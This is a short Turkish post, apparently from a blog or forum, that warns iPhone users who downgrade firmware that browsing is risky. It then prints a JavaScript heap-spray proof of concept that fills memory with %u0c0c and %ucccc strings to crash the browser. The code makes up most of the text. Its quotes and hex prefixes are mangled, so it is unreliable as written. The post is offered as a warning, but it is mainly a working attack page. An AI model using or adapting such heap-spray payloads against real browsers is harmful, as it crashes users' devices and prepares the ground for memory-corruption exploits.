iPhone kullanicilari Turkiyede iPhone kullanabilmek icin firmware lerini downgrade ediyorlar peki ya guvenlik ne olucak ? 
iPhone lar uzerinden surf yaparken dikkatli olmakta fayda var asagidaki gibi bir kod ile DOS mumkun.
<html><body><script>
function Demo() {
var shellcode;
var addr;
var fill;
alert(”attempting a crash!”);
shellcode = unescape(”%u0c0c”);
fill = unescape(”%ucccc”);
addr = 0×02020202;
var b = fill;
while (b.length <= 0×40000) b+=b;
var c = new Array();
for (var i =0; i<36; i++) {
c[i] =
b.substring(0, 0×100000 - shellcode.length) + shellcode +
b.substring(0, 0×100000 - shellcode.length) + shellcode +
b.substring(0, 0×100000 - shellcode.length) + shellcode +
b.substring(0, 0×100000 - shellcode.length) + shellcode;
}
}
</script>
<input type=”button” onClick=”Demo()” value=”Go!”>
</body></html>